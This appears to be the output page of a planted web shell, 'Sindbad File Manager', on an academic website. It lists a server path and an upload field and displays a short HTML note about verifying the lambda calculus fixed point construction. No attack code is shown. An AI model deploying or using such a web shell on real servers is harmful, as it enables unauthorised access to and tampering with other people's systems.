Sindbad~EG File Manager

Current Path : /usr/home/beeson/public_html/michaelbeeson/research/otter-lambda/examples/LambdaLogic/
Upload File :
Current File : /usr/home/beeson/public_html/michaelbeeson/research/otter-lambda/examples/LambdaLogic/lambda4.html

<p>This file simply verifies the standard fixed point construction of lambda calculus. If you are not familiar with this construction, it is explained in 
<a href="index.php?include=LambdaCalculus">Lambda Calculus</a>. There is a also a discussion of this example in 
<a href="../papers/ImplicitAndExplicitTyping.pdf">Implicit and Explicit Typing in Lambda Logic</a>.
</p>
<p>&nbsp;</p>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists